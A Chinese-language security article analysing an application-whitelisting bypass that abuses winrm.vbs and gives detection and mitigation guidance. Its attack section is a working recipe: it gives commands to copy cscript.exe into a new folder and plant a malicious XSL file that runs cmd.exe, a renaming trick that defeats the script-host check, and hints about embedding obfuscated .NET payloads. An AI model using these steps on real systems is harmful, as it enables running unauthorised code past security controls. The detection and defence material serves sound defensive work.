利用winrm.vbs绕过应用程序白名单执行任意未签名代码
字数 1456 2025-08-29 08:32:19
WinRM.vbs 应用程序白名单绕过技术分析与防御指南
技术概述
WinRM.vbs 是 Windows 系统中已签名的脚本文件,位于 System32 目录下。该脚本存在一个安全漏洞,允许攻击者通过特制的 XSL 文件绕过应用程序白名单限制,执行任意未签名代码。
漏洞原理
- XSL 脚本执行机制:当 winrm.vbs 使用
-format:pretty或-format:text选项时,会从 cscript.exe 所在目录加载对应的 WsmPty.xsl 或 WsmTxt.xsl 文件 - 不受限制的执行:XSL 脚本不受"开明脚本宿主"限制,可以包含任意脚本代码
- 路径控制:攻击者可以将 cscript.exe 复制到恶意 XSL 文件所在目录,从而控制加载的 XSL 文件
攻击实施步骤
准备阶段
-
创建攻击目录:
mkdir %SystemDrive%\BypassDir -
准备恶意 XSL 文件(示例为 WsmPty.xsl):
<?xml version='1.0'?> <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0"> <output method="text"></output> <ms:script implements-prefix="user" language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe"); ]]> </ms:script> </stylesheet> -
复制系统工具:
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
执行攻击
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
技术变种与绕过技巧
绕过 cscript.exe 检查
winrm.vbs 通过检查 WScript.FullName 是否包含 "cscript.exe" 来判断执行环境,可通过以下方式绕过:
mkdir %SystemDrive%\BypassDir\cscript.exe
copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
武器化 XSL 文件
可以将 DotNetToJScript 有效载荷嵌入 XSL 文件中,实现更复杂的攻击:
- 修改 XSL 文件中的 JScript 部分
- 使用 base64 编码或其他混淆技术隐藏恶意代码
- 实现内存加载和执行 .NET 程序集
检测方法
文件系统检测
-
XSL 文件哈希验证:
- 检查 WsmPty.xsl 和 WsmTxt.xsl 的哈希是否与系统原始版本一致
- 这些文件应位于 System32 目录,其他位置的同名文件可疑
-
目录签名验证:
- 合法的 XSL 文件采用目录签名
- 检查磁盘上是否存在未签名的 WsmPty.xsl 或 WsmTxt.xsl
进程行为检测
-
执行上下文检测:
- 监控从非标准路径执行的 cscript.exe 或 wscript.exe
- 检查进程树,识别异常父进程
-
命令行参数分析:
- 检测包含
-format:pretty或-format:text的 winrm.vbs 调用 - 注意参数变体(大小写、引号、斜杠等)
- 检测包含
ETW (Event Tracing for Windows) 检测
使用 AMSI ETW 提供程序捕获脚本执行:
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# 执行可疑操作
logman stop AMSITrace -ets
使用 PowerShell 解析 ETW 日志:
$AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]'
$AMSIScanEvents | ForEach-Object {
# 解析事件内容
}
防御与缓解措施
应用程序控制
-
Windows Defender 应用程序控制 (WDAC):
- 实施用户模式代码完整性 (UMCI)
- 使用哈希黑名单阻止易受攻击的脚本版本
-
脚本签名验证:
- 强制所有脚本必须经过签名
- 限制未签名脚本的执行
系统加固
-
服务配置:
- 禁用不必要的 WinRM 服务
- 限制脚本宿主的执行权限
-
文件系统保护:
- 监控 System32 目录下关键文件的修改
- 限制对系统目录的写入权限
监控与响应
-
实时监控:
- 部署能够检测异常脚本行为的 EDR 解决方案
- 监控 XSL 文件的创建和修改
-
日志分析:
- 收集和分析进程创建日志
- 关注从非标准路径执行的系统工具
总结
WinRM.vbs 的 XSL 加载机制漏洞为攻击者提供了一种有效的应用程序白名单绕过方法。防御者需要采取多层次的安全措施,包括应用程序控制、系统加固和全面监控,才能有效防御此类攻击。组织应评估自身环境中此类技术的潜在风险,并实施相应的检测和防护措施。